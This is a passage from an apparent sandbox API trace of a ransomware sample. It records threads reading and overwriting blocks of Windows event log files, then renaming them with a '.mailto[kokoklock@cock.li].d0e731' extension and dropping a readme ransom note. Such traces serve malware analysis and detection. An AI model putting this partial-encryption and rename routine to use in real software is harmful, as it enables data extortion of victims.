nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xabaf88c, lpOverlapped=0x0 | out: lpBuffer=0x55e8908*, lpNumberOfBytesRead=0xabaf88c*=0x4096, lpOverlapped=0x0) returned 1 [0064.338] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcf20 [0064.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.338] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff90 [0064.338] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff90) returned 1 [0064.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0058 [0064.339] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0080 [0064.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0080) returned 1 [0064.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcf20) returned 1 [0064.339] WriteFile (in: hFile=0x780, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xabaf88c, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xabaf88c*=0x4096, lpOverlapped=0x0) returned 1 [0064.339] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.339] SetFilePointerEx (in: hFile=0x780, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.339] WriteFile (in: hFile=0x780, lpBuffer=0x33f0058*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xabaf8c4, lpOverlapped=0x0 | out: lpBuffer=0x33f0058*, lpNumberOfBytesWritten=0xabaf8c4*=0x20, lpOverlapped=0x0) returned 1 [0064.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0058) returned 1 [0064.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55e8908) returned 1 [0064.340] WriteFile (in: hFile=0x780, lpBuffer=0x33efce8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xabaf8d8, lpOverlapped=0x0 | out: lpBuffer=0x33efce8*, lpNumberOfBytesWritten=0xabaf8d8*=0x8, lpOverlapped=0x0) returned 1 [0064.340] WriteFile (in: hFile=0x780, lpBuffer=0xabaf8f0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xabaf8d8, lpOverlapped=0x0 | out: lpBuffer=0xabaf8f0*, lpNumberOfBytesWritten=0xabaf8d8*=0x4, lpOverlapped=0x0) returned 1 [0064.340] WriteFile (in: hFile=0x780, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xabaf8d8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xabaf8d8*=0x4, lpOverlapped=0x0) returned 1 [0064.340] WriteFile (in: hFile=0x780, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xabaf8d8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xabaf8d8*=0x6c, lpOverlapped=0x0) returned 1 [0064.340] WriteFile (in: hFile=0x780, lpBuffer=0x33ef9f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xabaf8d8, lpOverlapped=0x0 | out: lpBuffer=0x33ef9f0*, lpNumberOfBytesWritten=0xabaf8d8*=0x20, lpOverlapped=0x0) returned 1 [0064.340] WriteFile (in: hFile=0x780, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xabaf8d8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xabaf8d8*=0x4, lpOverlapped=0x0) returned 1 [0064.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef9f0) returned 1 [0064.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.340] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efce8) returned 1 [0064.340] CloseHandle (hObject=0x780) returned 1 [0064.493] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf8) returned 0x34bece8 [0064.493] wcscpy (in: _Dest=0x34bece8, _Source="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" [0064.493] wcscat (in: _Dest=0x34bece8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" [0064.493] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.580] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0064.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bece8) returned 1 [0064.580] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", dwFileAttributes=0x20) returned 0 [0064.580] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434368 [0064.580] wcscpy (in: _Dest=0x3434368, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0064.580] wcscat (in: _Dest=0x3434368, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0064.580] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0064.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434368) returned 1 [0064.580] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca330) returned 1 [0064.580] RtlExitUserThread (Status=0x1) Thread: id = 192 os_tid = 0x1178 [0063.445] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0063.762] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", dwFileAttributes=0x20) returned 1 [0063.762] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x77c [0063.762] GetFileSizeEx (in: hFile=0x77c, lpFileSize=0xac2fd24 | out: lpFileSize=0xac2fd24*=1052672) returned 1 [0063.762] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x100ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.762] ReadFile (in: hFile=0x77c, lpBuffer=0xac2fcf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xac2fcf4, lpOverlapped=0x0 | out: lpBuffer=0xac2fcf8*, lpNumberOfBytesRead=0xac2fcf4*=0x4, lpOverlapped=0x0) returned 1 [0063.981] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4760 [0063.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4800 [0063.981] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efc98 [0063.981] NtQuerySystemTime (in: CurrentTime=0xac2fcd0 | out: CurrentTime=0xac2fcd0*=132121176218778171) returned 0x0 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x8f3c06d9 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xd0dc11da [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x1daeddd [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xcc7d47a8 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x88ee0b18 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x993e4598 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xd77a4dc8 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x65583a44 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xcff82cc3 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xb3974f93 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x8910c7ea [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x8b0345b5 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xd66854e7 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x1817e62a [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x992a77e3 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xe6370adc [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xb12c34a3 [0063.981] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x218cc331 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x88ba21e8 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xebd3b049 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x8d1da7d1 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x4cbdf146 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xa19032c [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x5df7020e [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xdb946d72 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x6a49defe [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x717615e2 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x6beb3f42 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x48109f98 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0xbe88c5b [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x226f6cc4 [0063.982] RtlRandom (in: Seed=0xac2fcdc | out: Seed=0xac2fcdc) returned 0x6633b5dd [0063.990] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efcc0 [0063.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33ef9c8 [0063.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4760) returned 1 [0063.993] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.993] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.993] ReadFile (in: hFile=0x77c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xac2fc90, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xac2fc90*=0x4096, lpOverlapped=0x0) returned 1 [0064.333] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0064.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0064.333] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff90 [0064.333] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff90) returned 1 [0064.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0030 [0064.334] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33eff40 [0064.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eff40) returned 1 [0064.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0064.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0064.334] WriteFile (in: hFile=0x77c, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xac2fc90, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xac2fc90*=0x4096, lpOverlapped=0x0) returned 1 [0064.334] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.334] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.334] ReadFile (in: hFile=0x77c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xac2fc90, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xac2fc90*=0x4096, lpOverlapped=0x0) returned 1 [0064.335] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0064.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0064.335] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0058 [0064.335] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0058) returned 1 [0064.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efef0 [0064.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33f0148 [0064.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0148) returned 1 [0064.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0064.336] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0064.336] WriteFile (in: hFile=0x77c, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xac2fc90, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xac2fc90*=0x4096, lpOverlapped=0x0) returned 1 [0064.337] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.337] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.337] ReadFile (in: hFile=0x77c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xac2fc90, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xac2fc90*=0x4096, lpOverlapped=0x0) returned 1 [0064.433] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0xfcf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0064.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0064.433] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd60) returned 1 [0064.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0064.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd60 [0064.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe50 [0064.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe50) returned 1 [0064.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0064.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0064.436] WriteFile (in: hFile=0x77c, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xac2fc90, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xac2fc90*=0x4096, lpOverlapped=0x0) returned 1 [0064.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0064.436] WriteFile (in: hFile=0x77c, lpBuffer=0x33f0030*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac2fcec, lpOverlapped=0x0 | out: lpBuffer=0x33f0030*, lpNumberOfBytesWritten=0xac2fcec*=0x20, lpOverlapped=0x0) returned 1 [0064.436] WriteFile (in: hFile=0x77c, lpBuffer=0x33efef0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac2fcec, lpOverlapped=0x0 | out: lpBuffer=0x33efef0*, lpNumberOfBytesWritten=0xac2fcec*=0x20, lpOverlapped=0x0) returned 1 [0064.436] WriteFile (in: hFile=0x77c, lpBuffer=0x33efd60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac2fcec, lpOverlapped=0x0 | out: lpBuffer=0x33efd60*, lpNumberOfBytesWritten=0xac2fcec*=0x20, lpOverlapped=0x0) returned 1 [0064.436] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0064.436] WriteFile (in: hFile=0x77c, lpBuffer=0x33ef9c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xac2fcf4, lpOverlapped=0x0 | out: lpBuffer=0x33ef9c8*, lpNumberOfBytesWritten=0xac2fcf4*=0x8, lpOverlapped=0x0) returned 1 [0064.436] WriteFile (in: hFile=0x77c, lpBuffer=0xac2fd0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xac2fcf4, lpOverlapped=0x0 | out: lpBuffer=0xac2fd0c*, lpNumberOfBytesWritten=0xac2fcf4*=0x4, lpOverlapped=0x0) returned 1 [0064.436] WriteFile (in: hFile=0x77c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xac2fcf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xac2fcf4*=0x4, lpOverlapped=0x0) returned 1 [0064.437] WriteFile (in: hFile=0x77c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xac2fcf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xac2fcf4*=0x6c, lpOverlapped=0x0) returned 1 [0064.437] WriteFile (in: hFile=0x77c, lpBuffer=0x33e4800*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac2fcf4, lpOverlapped=0x0 | out: lpBuffer=0x33e4800*, lpNumberOfBytesWritten=0xac2fcf4*=0x20, lpOverlapped=0x0) returned 1 [0064.437] WriteFile (in: hFile=0x77c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xac2fcf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xac2fcf4*=0x4, lpOverlapped=0x0) returned 1 [0064.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4800) returned 1 [0064.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efcc0) returned 1 [0064.437] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ef9c8) returned 1 [0064.437] CloseHandle (hObject=0x77c) returned 1 [0066.395] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe4) returned 0x3481920 [0066.395] wcscpy (in: _Dest=0x3481920, _Source="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" [0066.395] wcscat (in: _Dest=0x3481920, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" [0066.395] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0066.396] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0066.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481920) returned 1 [0066.396] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", dwFileAttributes=0x20) returned 0 [0066.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434768 [0066.396] wcscpy (in: _Dest=0x3434768, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0066.396] wcscat (in: _Dest=0x3434768, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0066.396] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0066.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434768) returned 1 [0066.396] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce508) returned 1 [0066.396] RtlExitUserThread (Status=0x1) Thread: id = 193 os_tid = 0x117c [0063.448] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0063.788] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", dwFileAttributes=0x20) returned 1 [0063.788] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7bc [0063.788] GetFileSizeEx (in: hFile=0x7bc, lpFileSize=0xacafab8 | out: lpFileSize=0xacafab8*=69632) returned 1 [0063.788] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.788] ReadFile (in: hFile=0x7bc, lpBuffer=0xacafa8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xacafa88, lpOverlapped=0x0 | out: lpBuffer=0xacafa8c*, lpNumberOfBytesRead=0xacafa88*=0x4, lpOverlapped=0x0) returned 1 [0064.262] SetFilePointerEx (in: hFile=0x7bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea78 [0064.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be7f8 [0064.262] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be320 [0064.262] NtQuerySystemTime (in: CurrentTime=0xacafa64 | out: CurrentTime=0xacafa64*=132121176221590299) returned 0x0 [0064.262] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x67c6f8bc [0064.262] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x4ef90ae6 [0064.262] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x8882d916 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xa22e0250 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xbb548b10 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xb292ac9c [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0xa70c9533 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x234ea558 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x3f57dc0d [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x8a969eac [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x9f9aef54 [0064.263] RtlRandom (in: Seed=0xacafa70 | out: Seed=0xacafa70) returned 0x75c5d9da [0064.263] RtlRandom 